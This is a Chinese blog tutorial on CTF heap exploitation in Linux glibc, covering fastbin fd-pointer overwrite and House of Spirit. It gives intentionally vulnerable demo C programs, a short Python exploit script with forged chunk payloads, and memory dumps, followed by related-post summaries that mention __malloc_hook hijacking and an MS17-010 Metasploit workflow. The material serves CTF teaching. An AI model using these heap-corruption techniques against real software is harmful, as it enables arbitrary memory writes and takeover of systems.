Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

[pwn]堆:fastbin attack详解 [pwn]fastbin attack 文章目录[pwn]fastbin attackfastbin attack原理double freeuse after freechunk extend需要注意的点:0ctf:babyheap fastbin attack原理 fastbin attack是利用fastbin分配原理的漏洞,利用要求是我们能够修改“已释放”堆块。通常情况下与double fr... 阅读详情

原文地址:https://www.cnblogs.com/Ox9A82/p/5865420.html

linux下的fastbin是ctf中pwn题的重点出题点。去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了k0sh1师傅写在freebuf上的一篇文章。我写了几个demo来说明问题。

目录
1.关于fastbin

2.覆盖fd指针实现利用

3.任意地址free实现利用(House of Spirit)

1.关于fastbin
我们一般熟悉的堆都是双链表的chunk,但是对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin来进行管理的。

fastbin的堆块结构与常规的chunk是完全一样,除了使用的是单链表。

如上图就是一个正在使用中的fastbin块的结构

这是未被使用fastbin块。

通过这两幅图可以看出,原本是双链表(fd和bd)的位置现变成了单链表(fd)。

而fastbin就是依靠单链表来组织的,堆管理结构始终维护一个指向最后一个chunk的指针。这个指针决定了下一次要分配的chunk地址。

未被使用的chunk被链入单链表中,单链表的第一个chunk成员的fd值为NULL。

具体的链表情况如下:

其中最上面的是指向单链表最后chunk块的指针,chunk3因为是第一个chunk所以fd=0。

2.覆盖fd指针实现利用
当一个fastbin堆块存在堆溢出的时候,这种方法就可以使用了。简要的过程就是通过溢出覆盖一个在单链表中的chunk块的fd指针,当再次分配后(至少分配两次),就会在被覆盖的fd处分配fastbin chunk块,从而实现向任意地址分配堆块。

下面详细解释一下:

1.成功利用的条件

存在可被溢出的fastbin chunk块,要求可以使chunk块的fd能被控制
欲被分配的地址,要求此地址的内容可控(存在size域)
2.如何利用

分配两个fastbin chunk
使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。
    tips:指向的应为堆头的地址,而不是malloc返回的用户指针的位置

3.演示demo

复制代码
1 int BufForTst[100];
2
3 int main(int argc, char *argv[])
4 {
5 void *buf0,*buf1,*buf2,*buf3;
6 BufForTst[1]=0x29;
7 buf0 = malloc(32);
8 buf1 = malloc(32);
9 printf(“正常的chunk1、chunk2被分配\n”);
10 free(buf1);
11 printf(“chunk2被释放\n”);
12 printf(“break\n”);//for debug
13 read(0, buf0, 64);//overflow
14 buf2 = malloc(32);
15 buf3 = malloc(32);
16 printf(“发生溢出的chunk2被分配\n%p\n溢出改写的fd地址被分配\n%p\n”,buf2,buf3);
17 return 0;
18 }
复制代码
这个例程展示了如何通过覆盖fd指针实现向bss段分配堆块
buf0 buf1

0x403000:	0x00	0x00	0x00	0x00	0x29	0x00	0x00	0x00
0x403008:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403010:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403018:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403020:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403028:	0x00	0x00	0x00	0x00	0x29	0x00	0x00	0x00
0x403030:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403038:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403040:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x403048:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

buf1位于0x403028,
0x403030溢出为0x804A060
这里溢出后如果buf1变成了不符合格式的bunk,就会崩溃。

但我们有下面的脚本伪造了了个chunk,指向0x804A060。
之后再malloc buf2 buf3
buf2就会使我们伪造的chunk分配出来的,buf3就是0x804A060指向的地址。

复制代码
1 from zio import *
2
3 io=zio(’./tst’,timeout=9999)
4 #io.gdb_hint()
5 io.read_until(‘break’)
6
7 sc=‘a’*32+l32(0x0)+l32(0x29)+l32(0x804A060)
8 #sc=‘abcd’
9 io.writeline(sc)
10 io.read()
复制代码
这个exp配合使用。命令如下

gcc tst.c -o tst
python exp.py

复制代码
1 #define fastbin_index(sz)
2 ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
3 …
4 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
5 {
6 errstr = “malloc(): memory corruption (fast)”;
复制代码
注意,因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

3.任意地址free实现利用(House of Spirit)
当可以通过某种方式(比如栈溢出)控制free的参数时,就可以使用House of Spirit实现利用。大概的思路是free你要任意分配的地址,然后这个地址就会在再次分配的时候被分配到,但是要任意分配的地址要提起构造好伪chunk结构。

下面详细解释一下:

1.成功利用的条件

free的参数可控,可以指向欲分配的地址。
欲分配的地址要求内容可控,可以提前构造伪chunk
2.如何利用

在欲分配的地址上构造伪chunk。由于堆的检验机制,要求构造连续的两个伪chunk。比如l32(0x0)+l32(41)+‘aaaa’*8 +l32(0x0)+l32(41)
控制free的参数,指向chunk的地址
再次分配就可以在指定地点分配chunk了
   tips:free的地址为malloc的地址,也就是堆头+8的地址。

3.演示demo

复制代码
1 int TstBuf[100];
2 int main(int argc, char *argv[])
3 {
4 void *p;
5 int i;
6 TstBuf[1]=0x29;//为什么是0x29?因为32+8+FLAG位
7 TstBuf[11]=0X29;//
8 p=malloc(32);
9 printf(“正常的堆分配:%p\n”,p);
10 p=(int *)0x804A068;
11 free§;
12 printf(“free了一个任意地址\n”);
13 p=malloc(32);
14 printf(“再次分配堆,可以看到分配到了任意地址上:%p\n”,p);
15 }
复制代码
成功的把堆块分配到了bss上,为了方便我硬编码了,可以根据自己的情况修改。

堆漏洞利用实战:从Double Free到Fastbin Attack的权限提升 在计算机安全领域,内存管理漏洞是攻击者获取系统权限的重要突破口。堆内存管理器(如glibc的ptmalloc)通过维护空闲内存块链表(如fastbins)来提升分配效率,但其松散的安全检查机制也埋下了安全隐患。理解堆的分配与释放原理,是掌握漏洞利用技术的基础。其中,Double Free(双重释放)和Use After Free(UAF,释放后重用)是两类经典的堆漏洞,它们允许攻击者破坏堆管理器的内部数据结构。通过精心构造内存布局,攻击者可以污染fastbin链表,实现Fastbin Attack,最终达到 阅读详情

相关推荐

从0ctf babyheap实战解析Fastbin Attack:堆漏洞利用核心原理与调试技巧

堆内存管理是现代程序安全的核心议题,其漏洞利用往往围绕ptmalloc等分配器的内部机制展开。Fastbin Attack作为一种经典的堆利用技术,其原理在于利用fastbin单向链表在malloc时的宽松检查——仅验证size域的合理性,而非地址合法性。这项技术的核心价值在于能够实现近乎任意地址写,是绕过早期double free检测、构造复杂利用链(如house of spirit)的基石。在CTF Pwn与真实漏洞利用场景中,它常被用于劫持__malloc_hook或__free_hook等关键函数指

weixin_34391445的博客 463

fastbin 利用小结之fastbin double free, house of spirit

fastbin 利用小结之fastbin double free, house of spirit1、fastbin chunk 结构未分配的chunk|         |  size  ||  fd  |         |已分配chunk|       |   size  ||    content     | ……malloc返回的指针指向content位置 2、Fastbin Doub...

chenzhenyu1983的博客 1646

CTFshow PWN入门实战:从栈溢出到堆利用的完整学习路径

在计算机安全领域,二进制漏洞利用是理解软件安全机制的核心。其原理源于程序内存管理缺陷,攻击者通过精心构造的输入数据覆盖关键内存区域,从而劫持程序控制流。这项技术的核心价值在于揭示系统底层安全边界,是构建纵深防御体系的基础。在CTF竞赛和渗透测试中,掌握栈溢出、格式化字符串和堆利用等技术,能够有效评估软件抗攻击能力。本文以CTFshow平台的PWN入门系列为蓝本,系统讲解环境搭建、工具链配置和漏洞利用实战,重点剖析栈溢出与格式化字符串漏洞的利用技巧,帮助初学者建立完整的二进制安全攻防思维框架。

weixin_30412167的博客 375

CTF pwn题堆入门 -- Fast bin

这里写目录标题概述攻击方式实现任意地址分配fast bin poisoninghouse of spirit总结 概述   Fast bin是堆利用中最常遇见的情况,常见于libc2.23版本的pwn题中,在那个版本中还没有Tcache机制,在那个版本中漏洞利用还很轻松(????)。   这里简单总结一下fast bin的性质,64位机器下fast bin大小为0x20 – 0x80字节,每个bin链表之间以0x10字节递增;32位机器下为0x10 – 0x40,每个bin链表之间以0x8字节递增(上面的大

lifanxin的博客 2850

缓冲区溢出攻击与防御实战:从栈溢出到ROP与堆利用

缓冲区溢出是计算机安全领域的基础性漏洞,其核心原理在于程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖。理解其底层机制,需要掌握进程内存布局、函数调用约定以及关键寄存器(如EIP)的作用。这项技术的价值在于揭示了软件安全与内存管理之间的紧密联系,是理解现代漏洞利用与防护技术的基石。其应用场景广泛,从经典的栈溢出攻击到绕过数据执行保护(DEP)的返回导向编程(ROP),再到复杂的堆利用技术如Use-After-Free,都是安全研究与实践中的关键课题。本文通过栈溢出、ROP、堆溢出等具体实例

weixin_34059951的博客 342

fastbin attack快速入门

0x01 fastbin简介 Fastbin包含0x20~0x80大小bin的数组指针,用于快速分配小堆块。fastbin按照单链表结构进行组织,相同大小的bin在同一个链表中,fd指向下一个bin,采用LIFO(Last In First Out)机制。在fastbin中,堆块的inuse标志都为1,处于占用状态,防止chunk释放时进行合并,加快小堆块的分配。 正常fastbin的使用 通过这个简单的案例来了解fastbin的单链表结构,malloc和free的过程。 #include<stdio

abelxu 1571

护网面试问题

1:护网是干什么? 护网行动是一场网络安全攻防演练。是针对全国范围的真实网络目标为对象的实战攻防活动 mimikatz的功能: 1:可以获取主机账号密码 1:第一步:使用Nmap扫描目标主机开放端口,ms17010是对445端口进行攻击的,所以我们要先对目标机进行端口扫描 2:第二步:获取权限 在这里我们利用ms17010(永恒之蓝)漏洞来获取靶机的权限。 运行msf,使用ms17010漏洞。 3:剩下的就是需要我们设置LHOST、RHOST、payload,分别是攻击机IP、靶机IP、攻击载荷。 4:配置

cf6666666的博客 6127

【堆漏洞 - Fastbin attack】

漏洞发生于fastbin的chunk,且存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞。

m0_52343643的博客 541

CTF竞赛实战技巧:Security-Paper项目中的ROP与堆利用教程

在CTF竞赛中,ROP与堆利用是二进制安全领域的核心技能,掌握这些技巧能让你在内存漏洞利用方面游刃有余。Security-Paper项目收集了大量权威的安全研究资料,为你提供了学习这些高级技术的绝佳资源。本文将基于项目中的经典论文和教程,为你揭秘ROP与堆利用的实战技巧,帮助你在CTF比赛中脱颖而出!🚀 ## 📚 什么是ROP与堆利用? 在CTF二进制安全挑战中,**ROP**(Retur

gitblog_00913的博客 860

一个实例讲解fastbins上的堆利用附件

hctf 2016 就是干 一个实例讲解fastbins上的堆利用附件 一个实例讲解fastbins上的堆利用附件一个实例讲解fastbins上的堆利用附件

YOLOv11 Neck架构演进 - 从FPN/PAN到C2f/SPPF的融合策略实战剖析

本文深入剖析YOLOv11 Neck架构的演进历程,从FPN/PAN到C2f/SPPF的融合策略,详细解析了多尺度目标检测中的特征融合技术。通过实战案例展示了YOLOv11在无人机航拍等场景中的性能提升,特别是小目标检测AP值提升15%的显著效果,为计算机视觉开发者提供了宝贵的架构优化经验。

weixin_30500105的博客 433

CTF Pwn入门:从零理解Linux堆内存管理(附GDB调试实战)

本文详细介绍了CTF Pwn中Linux堆内存管理的基础知识与实战技巧,包括堆内存分配机制、chunk结构、bin管理策略等核心概念。通过GDB调试实战演示了堆漏洞利用的基本方法,如use-after-free和House of Spirit技术,并提供了高级调试技巧和防御机制绕过思路,帮助读者从零开始掌握堆漏洞分析与利用。

weixin_30718391的博客 496

Vmware虚拟机克隆详解:固定ip + 修改uuid等内容

分两大步 设置固定ip 克隆后修改相关配置 本文引用的其他地方的图片。会附上链接 若侵权,删 一、设置静态ip 先进行虚拟网络的编辑 接下来的操作需要管理员权限。(给权限就完事了) 接下来设置网卡: 网络和共享中心→ 更改适配器设置→VMware Network Adapter VMnet8 -> 右键属性 修改TCP/Ipv4的配置,网上常见是这种,笔者是英文的...

Unknownfuture的博客 9070

fastbin attack

FastbinDoubleFree是指fastbin的chunk可以被多次释放,因此可以在fastbin链表中存在多次。这样导致的后果是多次分配可以从fastbin链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆(typeconfused)的效果。FastbinDoubleFree能够成功利用主要有两部分的原因fastbin的堆块被释放后next_chunk的pre_inuse位不会被清空1.1.1该技术的核心。......

m0_64195960的博客 1567

【Matlab 传感器布局优化】基于群智能算法的wsn覆盖优化研究

本文主要是对同构和异构传感器在指定空间内的布局进行优化,以最大覆盖率为目标,使用了DBO/SCA/WOA/SSA/NOA等启发式算法,在100x100的空间内,对30,100,200个传感器进行优化,得到最优的布局位置和对应覆盖率。

u013367499的博客 1818

Temporal Fusion Transformer(TFT)与扩散模型融合:时间序列预测新范式

本文探讨了Temporal Fusion Transformer(TFT)与扩散模型融合的时间序列预测新范式。该融合方案利用TFT强大的特征提取与可解释性,为扩散模型提供精准的“导航图”,从而在噪声数据中实现鲁棒预测,并原生支持不确定性量化,输出完整的概率分布与置信区间,为金融、能源等领域的风险决策提供更可靠的依据。

weixin_29096377的博客 291

【我的 PWN 学习手札】Fastbin Attack

Fastbin Attack主要是利用了Fastbin单链表管理,如果能够利用UAF等漏洞,将Fastbin链表上的free chunk的fd写数据,即可实现任意地址分配,进而实现任意地址读写 本篇涉及到的保护机制只有一个:取出的fastbin chunk,size应该在对应取出的fastbin范围内 二、利用手法 (1)分配到任意地址(__malloc_hook周边) 通过修改free chunk的fd指针造成分配到任意地址, 需要满足size条件。通过任意地址写来利用getshell,劫持ho

Mr_Fmnwon的博客 1268

AI智能体升级实战:从规则匹配到Function Call,准确率提升86%的技术选型之路

AI智能体升级实战:从规则匹配到Function Call的技术演进 文章记录了AI邮件助手从传统规则匹配升级到Function Call的技术迭代过程。通过案例分析,揭示了规则匹配的三大核心问题:覆盖不全(用户表达千变万化)、组合困难(多条件容易漏掉)、维护噩梦(每个需求都要新增规则)。测试数据显示,规则匹配在复杂查询中的准确率仅51%,严重影响用户体验。 技术团队对比了三种升级方案:1) 继续优化规则匹配(天花板明显);2) 微调专用NLP模型(成本高);3) 采用Function Call(灵活高效)

yweng18的博客 1079

BUUCTF[PWN][fastbin attack]

在0x00000000006020E0-0x33处刚好有一个空间中存储着0x7f,可以将地址0x6020ad作为伪造堆,那么0x7f就是size字段的值了,只要我们申请的空间为。先申请三个堆,大小为0x68(实际分配的大小为0x7f),再释放掉heap2,利用heap2进行fastbin attack,实行任意地址申请堆(刚才找到的伪造堆)后面直接编辑heap0,就能将free的got表上的值,修改为system的plt。之所以不直接覆盖为system的got表是因为函数调用的过程,如果之前。

yjh_fnu_ltn的博客 1533

从维纳滤波到Richardson-Lucy:图像去模糊算法的原理与实践

本文深入解析了图像去模糊的核心原理,重点对比了维纳滤波与Richardson-Lucy两种经典去卷积算法。维纳滤波在频域进行快速权衡,适用于高斯噪声场景;而Richardson-Lucy算法基于泊松噪声模型迭代优化,更适用于天文、显微等科学成像。文章通过Python代码实践,详细阐述了PSF(点扩散函数)的关键作用及算法选型指南。

weixin_29285605的博客 386

RK3588+YT9215快速拓展以太网口

YT9215支持7个端口的非阻塞数据传输,确保高效的数据流处理;在开发过程中,最重要的一点就是YT9215与RK3588的GMAC连接和配置部分,下面是gmac1对应dtsi文件的修改,包括注释掉rgmii_phy1对应的mdio1,以及gmac1对应的phy-handle部分,同时将gmac1修改成1000Mbps全双工模式。这就是最简单,最快速的RK3588拓展网口的方法了,如果需要用到交换芯片的其他功能,那就不可以直接使用原厂提供的bin,而是需要对YT9215进行另外的驱动开发。

带着耳朵取流浪的博客 2793

ptmalloc——fastbins

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34414196的博客 381

MATLAB极坐标伪彩色圆图绘制之polarPcolor函数

polarPcolor函数介绍 我们经常在论文或期刊上看到如下图这种以色调冷暖代表数值大小的极坐标圆图, 而function [varargout] = polarPcolor(R,theta,Z,varargin)可以很好的帮助我们快速绘制这类极坐标圆图。它非常适合雷达或激光雷达的平面位置指示器。使用polarPcolor函数时,我们只需根据手中数据构造相应的二维矩阵Z即可,十分便捷。varargin值为绘制模式选择。R值为半径坐标一维矩阵,theta值为角坐标一维矩阵。 代码示例 这里使用了海洋表面耀光

qq_19512613的博客 1万+
上一篇: DWORDSHOOT的攻击方法
下一篇: x64 fastbin
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值